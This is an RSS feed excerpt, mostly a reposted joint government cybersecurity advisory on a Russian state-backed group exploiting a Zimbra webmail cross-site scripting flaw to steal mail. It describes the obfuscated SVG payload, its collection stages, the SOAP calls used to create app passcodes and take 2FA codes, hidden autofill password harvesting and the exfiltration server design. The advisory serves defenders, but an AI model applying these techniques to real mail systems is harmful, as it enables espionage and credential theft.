information about the vulnerabilities. Microsoft does offer a mitigation for the http.sys bug that can be applied while you test and deploy the patch, but I would rely on the patch rather than the mitigation. Another exception is the bug for Connected User Experiences and Telemetry Service, which allows attackers to deny service locally rather than over the network.</p><p class="">The final(!) bug in the April release is a Tampering bug in WSUS that reads like a DoS. According to Microsoft, “An attacker can send specially crafted packets which could affect availability of the service and result in Denial of Service (DoS).” But sure – let’s call it Tampering. </p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">I will be in Berlin for the next Patch Tuesday, which will be May 12, and I’ll provide my full thoughts then on what will hopefully be a smaller release than this one. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
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<title><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite]]></title>
<description><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite
Executive summary 
A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboratio...]]></description>
<link>https://tsecurity.de/de/3694430/it-security-nachrichten/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694430/it-security-nachrichten/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</guid>
<pubDate>Sat, 25 Jul 2026 18:59:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="c-page-title__buttons"><a class="c-button" href="https://media.defense.gov/2026/Jul/22/2003965244/-1/-1/1/CSA_RUSSIA_PHISHING_TARGET_ZIMBRA.PDF">Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite</a></div>
<h2><strong>Executive summary</strong> </h2>
<p>A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboration Suite (ZCS) software since at least July 2025. The Russian state-supported advanced persistent threat (APT) group’s activity is tracked in the cybersecurity community under several names (see <a href="https://www.cisa.gov/#cyber1">Cybersecurity industry tracking</a>), primarily as “LAUNDRY BEAR,” a name initially coined by the Netherlands General Intelligence and Security Service (AIVD) and Defence Intelligence and Security Service (MIVD) [<a href="https://www.cisa.gov/#wc1">1</a>].</p>
<p>LAUNDRY BEAR’s targeting is almost certainly to gather sensitive information for the Russian Federation, with these actors primarily focusing on the covert acquisition of email data. Previous campaigns indicated LAUNDRY BEAR relied on unsophisticated initial access techniques—including password spraying, phishing, and pass-the-cookie—allowing the group to successfully run high-volume operations. The latest campaign targeting ZCS uses a novel exploit that was a zero-day vulnerability when first exploited and continues to be successfully exploited. The vulnerability, Common Vulnerabilities and Exposures (CVE) <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, was patched in November 2025. This demonstrates LAUNDRY BEAR’s intent and ability to deploy increasingly sophisticated technical capabilities.</p>
<p>Unlike traditional phishing campaigns that persuade a user into taking an action, such as clicking a link or opening a file, LAUNDRY BEAR’s latest campaign leverages a view-based exploit that only requires a user to view a malicious email within a vulnerable version of the webmail service. Once viewed, the exploit attempts to exfiltrate the victim’s last 90 days of email communications, the organization email directory (i.e., Global Address List [GAL]), and other sensitive information to servers controlled by LAUNDRY BEAR. The exploit also attempts to establish persistent access to victim accounts through a variety of means as detailed in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section.</p>
<p>This Cybersecurity Advisory (CSA) warns of this ongoing malicious threat activity and urges organizations to update their vulnerable software and implement additional mitigations to thwart these Russian state-supported actors’ continued success. The CSA is being released by the following authoring and co-sealing agencies:</p>
<ul>
<li>United States National Security Agency (NSA)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>Netherlands Defence Intelligence and Security Service (MIVD)</li>
<li>Netherlands General Intelligence and Security Service (AIVD)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Defense Counterintelligence and Security Agency (DCSA)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>United States Department of the Treasury</li>
<li>United States Naval Criminal Investigative Service (NCIS)</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)<a href="https://www.cisa.gov/#f1"><sup>1</sup></a></li>
<li>Danish Defence Intelligence Service (DDIS)<a href="https://www.cisa.gov/#f2"><sup>2</sup></a></li>
<li>Estonian Foreign Intelligence Service (EFIS)<a href="https://www.cisa.gov/#f3"><sup>3</sup></a></li>
<li>Finnish Defence Intelligence (FDI)<a href="https://www.cisa.gov/#f4"><sup>4</sup></a></li>
<li>Finnish Security and Intelligence Service (SUPO)<a href="https://www.cisa.gov/#f5"><sup>5</sup></a></li>
<li>French General Directorate for Internal Security (DGSI)<a href="https://www.cisa.gov/#f6"><sup>6</sup></a></li>
<li>French National Cybersecurity Agency (ANSSI)<a href="https://www.cisa.gov/#f7"><sup>7</sup></a></li>
<li>Italian External Intelligence and Security Agency (AISE)<a href="https://www.cisa.gov/#f8"><sup>8</sup></a></li>
<li>Italian Internal Intelligence and Security Agency (AISI)<a href="https://www.cisa.gov/#f9"><sup>9</sup></a></li>
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM)<a href="https://www.cisa.gov/#f10"><sup>10</sup></a></li>
<li>Polish Foreign Intelligence Agency (AW)<a href="https://www.cisa.gov/#f11"><sup>11</sup></a></li>
<li>The Military Counterintelligence Service of Poland (SKW)<a href="https://www.cisa.gov/#f12"><sup>12</sup></a></li>
<li>Spain National Intelligence Centre (CNI)<a href="https://www.cisa.gov/#f13"><sup>13</sup></a></li>
<li>Sweden National Cyber Security Centre (NCSC-SE)<a href="https://www.cisa.gov/#f14"><sup>14</sup></a></li>
</ul>
<p>The authoring agencies urge any organizations using ZCS to implement the recommendations listed within the <a href="https://www.cisa.gov/#mitigations1">Mitigations</a> section of this advisory to reduce the risk associated with this activity. This CSA also includes specific remediations for organizations to implement if they discover the presence of the listed <a href="https://www.cisa.gov/#ioc1">Indicators of compromise</a> (IOCs).  </p>
<p>As more organizations update their ZCS software based on this CSA, LAUNDRY BEAR may discontinue the current campaign exploiting this vulnerability; however, based on the success of this and previous campaigns, it is very likely that the group will continue to target ZCS and other email systems used by organizations in Western countries. The actors will almost certainly continue to rely on email to engage potential victims by exploiting novel vulnerabilities and, when necessary, use social engineering techniques to assist with their efforts. The authoring agencies recommend organizations regularly update their mail service software and continuously monitor their email systems and emails for malicious activity.</p>
<p>For a downloadable list of IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.xml">AA26-204A.stix.xml</a> (STIX XML)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.json">AA26-204A.stix.json</a> (STIX JSON)</li>
</ul>
<h2><strong>Cybersecurity industry tracking</strong><a class="ck-anchor"></a></h2>
<p>The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to these Russian state-supported cyber actors. While not exhaustive, the following are threat group names commonly used for these actors within the cybersecurity community:</p>
<ul>
<li>LAUNDRY BEAR</li>
<li>Void Blizzard [<a href="https://www.cisa.gov/#wc2">2</a>]</li>
<li>CL-STA-1114 [<a href="https://www.cisa.gov/#wc3">3</a>]</li>
<li>TA488 (formerly UNK_PitStop) [<a href="https://www.cisa.gov/#wc4">4</a>]</li>
</ul>
<p><strong>Note:</strong> Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. government’s understanding for all activity related to these groupings.</p>
<h2><strong>Background</strong></h2>
<p>Public advisories from Netherlands General Intelligence and Security Service (AIVD), Netherlands Defence Intelligence and Security Service (MIVD), and Microsoft highlighted these Russian state-supported advanced persistent threat (APT) actors in May 2025, calling them LAUNDRY BEAR and Void Blizzard respectively [<a href="https://www.cisa.gov/#wc1">1</a>] [<a href="https://www.cisa.gov/#wc2">2</a>]. Both advisories assessed that the group was engaged in malicious cyber activity as early as April 2024.  </p>
<p>The May 2025 advisories highlighted a cluster of activity targeting cloud-based email environments, including Microsoft Exchange in particular, and abusing legitimate APIs to perform data exfiltration in bulk [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank">T1114.002</a>]. The group relied on unsophisticated means of initial access, including procuring stolen credentials on criminal marketplaces [<a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank">T1078</a>], and using social engineering techniques to lure targets into interacting with a malicious site masquerading as a legitimate one. As of April 2025, one of these sites resembled a European Defence &amp; Security Summit registration portal that required registrants to sign in to their Microsoft account to view. Once a user entered their Microsoft credentials into this malicious site, LAUNDRY BEAR’s modified version of the open source adversary emulation toolkit, Evilginx, intercepted the user’s credentials. LAUNDRY BEAR then used this authentication data, including passwords and session tokens, to access the compromised account and conduct mass email exfiltration, as well as harvest other information. This method of compromise is commonly known as an adversary-in-the-middle (AiTM) technique [<a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank">T1557</a>].  </p>
<p>Beginning around July 2025, LAUNDRY BEAR shifted toward a more technical method of email compromise, highlighting their continued efforts to covertly acquire email communications from a variety of Western organizations of interest and deliver them to the Russian Federation. Using a custom-developed capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank">T1587.001</a>] named “<em>Улей</em>” or “<em>Ulej</em>” (Russian for beehive), LAUNDRY BEAR successfully targeted and exfiltrated sensitive user information from organizations who use the Zimbra Collaboration Suite (ZCS) product [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank">T1114</a>]. Data LAUNDRY BEAR attempted to exfiltrate from compromised accounts included:</p>
<ul>
<li>Last 90 days of emails,</li>
<li>Email address,</li>
<li>Password [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank">T1589.001</a>],</li>
<li>Global Address List (GAL) [<a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank">T1087</a>],</li>
<li>Two-factor authentication (2FA) tokens, and</li>
<li>Newly-created Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank">T1098</a>].</li>
</ul>
<p>The covert and persistent nature of this activity, along with the absence of any known financial extortion, almost certainly indicates this group’s involvement in espionage activities with Russian government backing. Additionally, extensive Ukrainian targeting, prior to use against U.S. and other NATO allies, outlines an increasing trend within Russian cyber threat groups to target Ukrainian users first—both as a priority target and as a testbench for malicious cyber techniques before broader global deployment.</p>
<h2><strong>Targeting details</strong></h2>
<p>LAUNDRY BEAR has targeted and compromised users in various organizations, including those associated with:</p>
<ul>
<li>the Defense Industrial Base (DIB),  </li>
<li>the federal and local government,</li>
<li>education,</li>
<li>energy,</li>
<li>law enforcement,  </li>
<li>media,  </li>
<li>non-governmental organizations, and</li>
<li>technology.</li>
</ul>
<h2><strong>Technical details</strong></h2>
<p><strong>Note:</strong> This advisory uses the <a href="https://attack.mitre.org/versions/v19/matrices/enterprise/" target="_blank">MITRE ATT&amp;CK® Matrix for Enterprise</a> framework, version 19. This advisory also uses <a href="https://d3fend.mitre.org/" target="_blank">MITRE D3FEND<sup>TM</sup></a> version 1.4.0<a href="https://www.cisa.gov/#f15"><sup>15</sup></a>. See <a href="https://www.cisa.gov/#appendixa">Appendix A</a> and <a href="https://www.cisa.gov/#appendixb">Appendix B</a> for tables of the activity mapped to MITRE ATT&amp;CK and D3FEND tactics, techniques, and countermeasures.</p>
<p><em>Ulej </em>is a novel data exfiltration and aggregation capability, that currently (as of the publication of this report) supports a campaign specifically targeting users of ZCS webmail servers. This capability is used to exploit <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> [Common Weakness Enumeration (CWE) <a href="https://cwe.mitre.org/data/definitions/79.html" target="_blank">CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'</a>)], but likely could be adapted to exploit other vulnerabilities. It exfiltrates emails and other sensitive user data from a victim’s system immediately after exploitation and stores the data in an actor-controlled unattributable virtual private server (VPS) [<a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank">T1074.002</a>] running LAUNDRY BEAR’s “Flowerbed” collection framework. The collected data is almost certainly further exfiltrated to internal network resources for review and long-term retention.</p>
<h3><em><strong>Reconnaissance</strong></em></h3>
<p>LAUNDRY BEAR uses the <em>Ulej </em>capability to exploit the <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> vulnerability in organizations using ZCS. This campaign’s targeted victimology and limited exploitation capabilities likely indicate this group manually identifies and targets the victim organizations. LAUNDRY BEAR likely identifies organizations with public-facing Zimbra infrastructure by port scanning [<a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank">T1595</a>] and fingerprinting datasets easily procured through various commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank">T1596.005</a>].  </p>
<p>After identifying a target organization, the group likely compiles email addresses for individual users to target with the exploit [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank">T1589.002</a>] from datasets offered by commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank">T1597.002</a>], open source intelligence [<a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank">T1593</a>], or previously exfiltrated data [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank">T1597</a>].  </p>
<h3><em><strong>Resource development </strong></em><a class="ck-anchor"></a></h3>
<p>The actors procure VPSs from a variety of providers [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank">T1583.003</a>], including those with Know Your Customer (KYC) requirements, and often use fabricated identities. LAUNDRY BEAR primarily uses Mullvad VPN [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/">T1583</a>] when interacting with these servers, further demonstrating the group’s intent to mask their identity and maintain operations security (OPSEC). After the server is provisioned, an automated process deploys the Docker containers necessary for <em>Ulej’s</em> Flowerbed framework [<a href="https://attack.mitre.org/versions/v19/techniques/T1608/">T1608</a>], which then receives and aggregates the data <em>Ulej</em> exfiltrates. These servers are typically only used for 7-60 days before moving to new infrastructure.</p>
<h4><strong>Flowerbed framework</strong></h4>
<p>Flowerbed is a Python project that uses Docker for containerization. The project includes four different Docker containers:</p>
<ul>
<li>Catcher,</li>
<li>Certbot,</li>
<li>Nginx, and</li>
<li>Gardener.</li>
</ul>
<p>Catcher acts as both a DNS and HTTP server to receive and aggregate exfiltrated victim information [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/">T1048</a>]. For additional information on Catcher, refer to the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory. Flowerbed’s next container, Certbot, is based on one of the official Certbot containers, which allows for automated generation of Let’s Encrypt certificates using DNS challenges through Cloudflare. This certificate can then be used by the Nginx container, which serves as an HTTPS reverse proxy for Catcher, enabling Flowerbed to disguise some of its exfiltration activity through an encrypted communications channel [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank">T1048.002</a>]. The Nginx reverse proxy also validates that the Server Name Indicator (SNI) value contains “*.i.*” prior to forwarding the traffic to Catcher. If the SNI does not contain that string, the Nginx server returns a 444 error to the client. This is likely an attempt to reject non-Ulej connections. Finally, the Gardener container functions as a health check for the Catcher service. Gardener is a simple Python script that validates Catcher correctly receives and processes data.</p>
<p>The simplistic Flowerbed codebase has indications that artificial intelligence (AI) played a role in its development. This highlights how AI is increasingly being used to develop malicious capabilities [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank">T1588.007</a>]. The dependence on AI for a simple capability, such as Flowerbed, alongside a previous reliance on open source capabilities, such as Evilginx2 [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank">T1588.002</a>], likely indicates a lack of advanced technical knowledge within LAUNDRY BEAR, especially in relation to true software development capabilities.</p>
<h3><em><strong>Initial access</strong></em></h3>
<p>To gain initial access, LAUNDRY BEAR sends an email containing a malicious JavaScript payload to the target [<a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank">T1566</a>]. Through exploitation of <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, this JavaScript payload is immediately executed once the user views the malicious email [<a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank">T1203</a>], such as the one shown in <a href="https://www.cisa.gov/#figure1"><strong>Figure 1</strong></a>, in the ZCS webmail platform. Since at least November 2025, LAUNDRY BEAR began sending these phishing emails from victim infrastructure through compromised accounts [<a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank">T1199</a>], as shown in the email metadata in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>. These compromised accounts were likely previous victims of this, or another LAUNDRY BEAR, campaign and their use is intended to further obfuscate and frustrate anti-phishing tools and training.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure1.png?itok=yrzcl7tK" width="604" height="235" alt="Figure 1: Example of malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 1: Example of malicious email</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure2.png?itok=vEulmmyx" width="604" height="102" alt="Figure 2: Headers from an example malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 2: Headers from an example malicious email</strong></em></figcaption>
  </figure>
<p>According to the National Vulnerability Database (NVD), <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-66376" target="_blank">CVE-2025-66376</a> was initially published on 5 January 2026. This vulnerability allows for execution of a JavaScript payload included in email content due to improper sanitization of Cascading Style Sheet’s (CSS) @import directives within an email [<a href="https://www.cisa.gov/#wc5">5</a>]. Because the activity attributed to this campaign began in July 2025—months before Synacor released a patch and the CVE was published—the payload initially exploited a zero-day vulnerability at that time [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank">T1587.004</a>].  </p>
<p><strong>Utilization of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability.</strong></p>
<p>Hidden in LAUNDRY BEAR’s email is a Base64 encoded payload within the “onload” field of a Scalable Vector Graphics (SVG) element [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank">T1027.017</a>], as shown in <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>. Leading up to the inclusion of this payload in the SVG element are various instances of @import directives, as required to leverage <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a>. This payload includes an XOR encrypted final script encoded in a Base64 inner payload (see <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>) [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank">T1027.013</a>]. The outer payload decodes and decrypts the inner payload using an XOR function and a hardcoded key and then executes the script contained within the inner payload containing the collection and exfiltration logic. By changing the key used for the XOR encryption of the inner payload or adding additional @import directives with non-functional code [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank">T1027.010</a>], LAUNDRY BEAR can easily generate new payloads that bypass basic threat detection signatures. This malicious payload attempts to collect and exfiltrate information in 12 asynchronous stages [<a href="https://attack.mitre.org/versions/v19/techniques/T1119/">T1119</a>]. The stages in order of appearance within the payload are as follows:</p>
<ol>
<li>sendStartPing,</li>
<li>gather_email,</li>
<li>gather_environment,</li>
<li>gather_2fa_codes,</li>
<li>gather_app_password,</li>
<li>gather_device_status,</li>
<li>gather_oauth_consumers,</li>
<li>gather_autocomplete_password,</li>
<li>enable_mail_protocols,</li>
<li>gather_gal,</li>
<li>sendArchives, and</li>
<li>sendFinishPing. </li>
</ol>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure3_0.png?itok=M-bj5-nb" width="607" height="577" alt="Figure 3: Malicious payload of example email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 3: Malicious payload of example email</strong></em></figcaption>
  </figure>
<p>Use of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank">T1587</a>].</p>
<h3><em><strong>Persistence and credential access</strong></em><a class="ck-anchor"></a></h3>
<p>To establish sustained persistence into the victim’s email account, the script attempts to modify account preferences and collect authentication information. Any collected credentials are later exfiltrated, as further described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. Other campaigns attributed to LAUNDRY BEAR also demonstrated the group’s ability to circumvent multi-factor authentication through session token replay [<a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank">T1550.004</a>], and the Zimbra campaign follows a similar trend.</p>
<p>The script used in this campaign tries to discover the victim’s email address during the <em>gather_email</em> stage [<a href="https://attack.mitre.org/techniques/T1087/" target="_blank">T1087</a>]. The script searches for this email address in two ways. First, it examines the <em>batchInfoResponse </em>variable, which an HTML script element on the webpage can define, for an email address. Even if the script finds an email address there, it also checks whether it acquired a Cross-Site Request Forgery (CSRF) token as described later in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory. If so, the script uses the “GetIdentitiesRequest” Simple Object Access Protocol (SOAP) command under the “ZimbraAccount” namespace to determine the victim’s email address [<a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank">T1185</a>] and then exfiltrates it. However, if the script does not have a CSRF token or the SOAP request fails, the script exfiltrates the email value recovered from the first method instead. If both attempts fail to capture the victim’s email, the script sends a JavaScript Object Notation (JSON) payload with a key of “email” and value of <em>null </em>over HTTPS and does not attempt DNS exfiltration.</p>
<p>During the <em>gather_autocomplete_password</em> stage, the script attempts to collect the victim’s saved password via the autocomplete feature of the victim’s password manager. The script injects two HTML div elements requesting login credentials onto the page outside of the victim’s view, as shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a><strong> </strong>and <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. After waiting five seconds, the script then attempts to extract the password provided automatically by the password manager from the input element shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a>. If there is no value in that input field, it checks the password input field shown in <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. If neither input field contains a value, a JSON payload with a key of “autocomplete_password” and value of <em>null </em>is sent over HTTPS and DNS exfiltration is not attempted.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure4.png?itok=ZOZ8JHZC" width="1024" height="188" alt="Figure 4: First illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 4: First illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure5.png?itok=8xZU_GCa" width="1024" height="115" alt="Figure 5: Second illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 5: Second illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p>LAUNDRY BEAR almost certainly relies on a mail client using the Internet Message Access Protocol (IMAP) for persistent access to the victim’s mailbox. During the <em>enable_mail_protocols</em> stage, a SOAP request leveraging the “ModifyPrefsRequest” command under the “ZimbraAccount” namespace is sent. This request attempts to set the “zimbraPrefImapEnabled” preference to TRUE. While the default setting for “zimbraPrefImapEnabled” is not well documented, this action is almost certainly intended to ensure that IMAP access to the victim’s mailbox is enabled.</p>
<p>ZCS does not support 2FA for some mail clients, including IMAP. To support users who rely on IMAP clients, ZCS allows for the generation of Application Passcodes. Application Passcodes are randomly generated passwords that can be used for clients that cannot support the normal 2FA process to authenticate. During the <em>gather_app_password</em> stage, the script makes a SOAP request using the “CreateAppSpecificPasswordRequest” command under the “ZimbraAccount” namespace to create a new Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank">T1556.006</a>]. The SOAP request uses “ZimbraWeb” as the name of the application.</p>
<p>Additionally, the script also attempts to collect 2FA tokens. During the <em>gather_2fa_codes</em> stage, the script makes a SOAP request using the “GetScratchCodesRequest” command under the “ZimbraAccount” namespace. The script then attempts to exfiltrate any non-null 2FA codes collected this way. The number of codes can vary, and each code is exfiltrated to Flowerbed individually.</p>
<h3><em><strong>Collection</strong></em><a class="ck-anchor"></a></h3>
<p>As demonstrated in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, this script relies heavily on SOAP requests to collect victim information. To make these requests, the script aims to acquire the victim’s current CSRF token, which it attempts to access within the webpage’s local storage using localStorage.getItem("csrfToken"). If the script is unable to acquire this CSRF token, it will be unable to make any SOAP requests. In addition to the SOAP commands documented in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, other SOAP commands executed to collect victim information are shown in <a href="https://www.cisa.gov/#table1"><strong>Table 1</strong></a>.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 1: Additional SOAP commands used</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>SOAP Command </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Namespace </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Stage </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraSync </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>SearchGalRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script attempts to collect the victim’s GAL through brute force by searching for each two-character combination from a character set of “abcdefghijklmnopqrstuvwxyz1234567890.-_”. These queries are conducted using 20 batches of SOAP requests with 77 “SearchGalRequest” SOAP commands in each batch except for the last request containing only 58.</p>
<p>During the <em>gather_environment</em> stage, the script attempts to determine which type of ZCS webmail client the victim is using. The script checks the user’s current URL to determine the client type being used, checking for certain indicators (shown in <a href="https://www.cisa.gov/#table2"><strong>Table 2</strong></a>) to determine the client type. The corresponding value is then used as the payload when exfiltrating the client type.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 2: ZCS webmail client types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Indicator </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Client Type </strong></p>
</div>
</div>
</th>
